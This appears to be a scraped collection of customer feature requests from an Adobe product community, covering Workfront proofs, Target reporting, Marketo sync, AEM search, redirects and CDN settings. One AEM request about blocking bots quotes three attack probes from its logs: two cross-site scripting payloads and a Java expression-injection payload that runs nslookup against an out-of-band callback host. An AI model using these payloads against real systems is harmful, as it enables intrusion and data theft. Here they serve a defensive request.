Product Communities

There are use cases where we need to have multiple proofs open at the same time. In the browser, this is not an issue at all, but now that we are doing Interactive proofs, this is becoming an issue. Use cases: User has two monitors and would like to compare versions that way then really tall and thin in one monitorUser is looking at a proof that is similar but not related to the current proof about some global settings for the brand and what was doneThere is an issue with the integration and a proof is create independent of the other versions so both need to be open to compare.They are waiting on a comment from someone else and while waiting they are working on something else. They don't want to lose the proof though so they don't forget about it.I'm sure there are more, but that is all I could think about.

Description: Please add a "Winner" badge, or indicate a Target activity winner to the A4T Analysis Workspace report.   Why is this feature important to you - Simple In-your-face results!    It was there before turning on A4T, and now it is not. The customer got used to using it, and now they have to lift to determine the winner.   How would you like the feature to work - When using A4T to report on a Target activity, indicate which test the winner is of the test in the report.   Current Behaviour: Once a customer swaps to A4T, the Target UI uses Analytics data for reporting. I'm told the auto winner indicator, and the green star is missing from the Target UI after swapping to A4T. 

It would make sense and be very helpful if a team that shares a mailbox to monitor emails for their team, could submit those request to Workfront from that shared inbox. Currently, our teams are forwarding the emails to their primary inbox to use the add-in OR manually entering a request into Workfront based on the email received in the shared inbox.

Description - When you do a project search with a keyword, projects from different dates are shown in some random order. Workfront should use AI to make results relevant, such as default to show  the most recent result and projects I am in. I can then use the filters to find what i want.  Search is very hard, specially when we have been using the system for 6 years, we have results showing form 2018. Why is this feature important to you - I am constantly searching for projects or comments in the projects and it is very frustrating. How would you like the feature to work -Current Behavior -

Hi team,   This is for a customer enhance request. The customer has deleted few contact records and then restored them that has caused the restored records to lose sync with Dynamics. There are duplicates created in Marketo that have the same GUIDs and we are unable to merge as it throws an error. Dynamics has no duplicates. There is a huge list of these in Marketo and this feature implementation would be highly useful for them.

Currently we cannot use files in msg format and add them as a proof. Thanks to this option, users will not need to use workarounds as it affects a large part of their proofs.

Description - currently I have to have 2 browser windows open at the same time in order to see the proof and the requirements for that proof at the same time. Please make it so I can see the details and the proof at the same time. 

A beneficial feature would be to be able to resend users with updated information in SFDC without deleting and updating in SFDC side. Now the connection only let`s you send the first time a lead and after you get an error of  Failed to update SFDC{INSUFFICIENT_ACCESS_OR_READONLY: insufficient access rights on object id}

Having the source/reason attributes set to dynamic chat for the  updates made by dynamic chat will help us filter on the field values updated specifically by the dynamic chat in the SL/triggers. Currently the source in the field updates made by dynamicChat in activity shows Web Service API, it’d be great if we could say if the values were updated by the dynamicChat  specifically. Additionally, it'd also be great if dynamic chat is added as one of the input sources that we could check-mark to block updates in the field management section on the respective fields, if need be. There could be use-cases where we would wanna capture the data from dynamic chat for a new person but not update if there's already a non-empty value present on an existing person in the Marketo.  

Request for Feature Enhancement (RFE) Summary: Search should support fuzzy search Use-case: Portal User is searching for specific pages on portal Current/Experienced Behavior: Search Index just returns exact matches Improved/Expected Behavior: Search Index returns fuzzy search matches as well Environment Details (AEM version/service pack, any other specifics if applicable): 2023.3.11382.20230315T073850Z Customer-name/Organization name: Telefonica Germany B2B Screenshot (if applicable):     Code package (if applicable):  

Description - There are certain settings that can be set on a Team, Group, or user profile, such as layout template. The current behavior is to use the priority of user, then team or group (not sure which takes priority). The problem with this default priority is that a Team cannot override the member's layout setting, making it impossible to standardize by team. The admin has to remove the individual user's layout template setting in order for the team's layout to apply.   Why is this feature important to you - Cannot apply a standard using Team due to the current fixed priority order How would you like the feature to work - Add a setting to define the priority order between Company, Group, Team, User. The setting would allow the admin to set the order of priority for specific settings. Not all settings should have the same priority. Schedule would have a different priority order.   Current Behaviour - Fixed priority order for layout template selection, so cannot standardiz

Some thoughts to the improvement of the Gantt functionality:Support different colours within the Bars. For example. If the assigned people belong to different companies. That would be an easy way to share a project Gantt with customers as they would notice their tasks quickly due to the other colour.Settings:"Show task name in bar" checkbox"Show milestones + milestone title""Show vertical line for TODAY" (additionally to the green marks that are already in the cart)Export:Adjustment of the columns according to the content.If the project duration is very long, don't break the line. Please support a vertical scroll able PDF that shows the lines in one.

Hello!As our Project Managers work on different projects and have to switch often between them it would be great if Views an Filters could be set per project. Means for Project A I want to set Filter 1 and for Project B Filter 2. And if I switch between the projects the last filter selected on the project should remain set.If I am in the Gantt view and reload the project I would expect that the Gantt is opened again.ThxStephan 

Description -Why is this feature important to you - It will help to create different criteria based segment. How would you like the feature to work -Requesting additional segment functions to make it easier to create all the segments from the AEP Segment Builder UI. Function Description 1: get the month of the date and equals it to the next monthCalculation 1 : month(date) = next monthFunction Description 2: perform calculation on integers such as subtraction and division. It would useful to input an integer without having the attribute (i.e. input 365 to divide for one year)Calculation 2: (integer – integer2) / 365(input integer)Function Description 3: get the month of the date attribute and equals it to the month of another date attributeCalculation 3: month(date) = month(date2)Current Behaviour - Such function are not supported

Request for Feature Enhancement (RFE) Summary: We want to have a redirect tool that's built-in with AEM. Not ACS or opensourcee code Use-case: Currently, the only way to have a redirect tool in AEM is to install the ACS commons redirect manager Current/Experienced Behavior: None. There is no built-in redirect tool within AEM. ACS is the only way Improved/Expected Behavior: - Bulk upload and delete- Search- Export of lists- Suggest unnecessary redirects (chain redirects) - AI capability - Suggest how redirects can be consolidated (like suggesting the use of regular expressions for multiple rules that are similar)- Capacity for 500,000 rules Environment Details (AEM version/service pack, any other specifics if applicable): AEMaCS Customer-name/Organization name: N/A Screenshot (if applicable):   Code package (if applicable):  

Request for Feature Enhancement (RFE) Summary: Would like to add the following feature: Block some known Bot Requests by IP in CDN in AEMaaCS. Ignoring URL Parameters at CDN is currently not possible. Use-case: We are getting a lot of Bot Requests in our Dispatcher and Publish Logs. Ideally we would like to block these requests at CDN itself. These requests are coming from multiple IP and are impacting the performance of the application.Request Types - 1. /Solar_Image.php?mode=resize&fname=test%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E2./$%7b@java.lang.Runtime@getRuntime().exec(%22nslookup%20cec9ut6t9v7cv1g00010h8moeyzz4cmdk.oast.live%22)%7d/3. /pacs/login.php?message=%3Cimg%20src=%22%22%20onerror=%22alert(1);%22%3E1%3C/img%3EThere should be a way to block the IP or perform the action at WAF layer to block these bots. Current/Experienced Behavior: The requests are blocked at Dispatcher currently but the logs are choked with these requests. Improved/Exp

Request for Feature Enhancement (RFE) Summary: Prevent the browser caching of (potentially) sensitive data (e.g. some personal data of the logged-in user) Use-case: AEMaCS Author sets the Cache-Control header with a directive that does not prevent the caching of sensitive data in the user’s browser. An attacker gaining access to the browser of a user with which sensitive information has been retrieved can get insights into the data by reading the cache. Current/Experienced Behavior: The application does not prevent the caching of (potentially) sensitive data. In the responses, the value of the Cache-Control header is set to ”no-cache”, as can be seen in the following screen- shot (please check the attached report.) The “no-cache” instruction only ensures that the browser validates that the content is up-to-date on the server before using the cache. A look into the browser cache shows that sensitive data (e.g. some personal data of the logged-in user) is stored there. Improve

Description - Refresh icon / button on the Updates section to see if any instant replies has been received.Why is this feature important to you - saves time without having the need to refresh the page or go elsewhere in the site.How would you like the feature to work - like the Dashboard report refresh, a refresh button on the UPdates / comments section wlill be very useful.Current Behaviour - when the comments are made, message is sent to the person intended to. However his//her reply is not seen unless we refresh or come back again on the same page later.

Request for Feature Enhancement (RFE) Summary: When we search any asset on author / Filter the assets, post doing that when we select single/multiple assets, can't see create option and hence unable to trigger the workflow for assets. Can we enable create option so business able to trigger the workflow. Use-case: 1. Business go to author 2. Search the assets / Apply filter and search the assets. 3. Select list of assets post searching. 4. Business looking for the option to trigger the workflow. (to run on single/multiple assets) Current/Experienced Behavior: Create option not visible. (So workflow option unable to use) Improved/Expected Behavior: If we can enable the create option, business can trigger workflow on searched/filtered assets. Environment Details (AEM version/service pack, any other specifics if applicable): AEM 6.5.5 ( Also checked in 6.5.7 same behaviour) Customer-name/Organization name: Hershey's Screenshot (if applicable):    Code package (if appli

Proposing to have 'general time' included within actual hours on the Resource Planner page. While planned and actual project hours tell the story of resource utilization, the missing piece to this story is seeing how general time spent on non project work (administration, training, research, etc.) impacts each users overall utilization. It would also be nice to have the option to filter types of hours. For example, filtering to exclude all general time or specific general time categories. This would give everyone more flexibility in using the resource planner based on how they work and what they consider actual time for utilization/capacity purposes.

Description - The new Boards feature can be configured per layout to show or not show. However, the task menu option always shows "Add to Boards" and "Add to Workstreams", even though users do not have access to boards. This creates confusion and potentially issues of tasks being moved without a way to recover or review. Why is this feature important to you - We cannot fully control access to Boards currently. How would you like the feature to work - If a user's layout does not include Boards, there should not be any options related to Boards 

Description - The current local search feature only searches within the current page showing. With a 2k record limit per page, if there are multiple pages of data, the local search does not work to filter the resulting list to just the matching search items. This mean the search is useless since I still have to page through the list to get to the page that might have a local search match.   Why is this feature important to you - This is an important feature because it allows searching within the current object without having to page (search for projects in the entire project list or a resource within the entire resource list)   How would you like the feature to work - It should do a server-side filter of the search string rather than a local filter on the current page of data.   Current Behaviour - Anything in the search box will only match records within the current page of data.

The new mobile scorecards look great, but SSO organizations that need to be logged in to their corporate network, can't utilize this.I'd like to see Adobe create a mobile device authentication that links a SSO user to a mobile device.For example, If I had scorecards to view in the app (I had either created or they were shared with me in my primary account)  perhaps I could access a tool in Adobe Analytics to "Link a Mobile Device".  I would submit a phone number, and a unique link would be sent to my phone to authenticate my phone's Adobe App belongs to my SSO account (by way of a shadow account, perhaps). This shadow account would only have access to scorecards in the app, and perhaps needs to be reauthenticated every 30-90 days based on your company's infoSecurity policies. However... if your SSO account is disabled, your scorecard stops working immediately as well. 

Description - I think it would be handy if a calculated metric indicated an annotation when one of the metrics inside the calculated metric has an annotation. Having to add calculated metrics to the annotation list can be cumbersome, and users across our enterprise may have made their own calculated metric and are unaware of the annotation on one of the building-block metrics.  Why is this feature important to you - I think this would provide context to any abnormalities seen using calculated metrics, especially to those who aren't in the data everyday.  How would you like the feature to work - I would like annotations to show up for Calculated Metrics based on the building-blocks of said calculated metric. For example,  I have a calculated metric of "Room Nights per Order" (room nights / orders) that showed a historical dip with no annotation available. I added in the metrics Room Nights and Orders on their own to the table, and once added the annotations

Request for Feature Enhancement (RFE) Summary: Enable cropping of WebP images in AEM Assets. Use-case: Enable cropping of WebP images in AEM Assets. Current/Experienced Behavior: Cropping of WebP images is currently not supported in AEM. When trying to Edit / crop it shows the following message:  "Editing is not supported for this type of assets." Improved/Expected Behavior: Cropping of WebP is possible. Environment Details (AEM version/service pack, any other specifics if applicable): AEM as a cloud service. Customer-name/Organization name: Hugo Boss AG Screenshot (if applicable):   Code package (if applicable):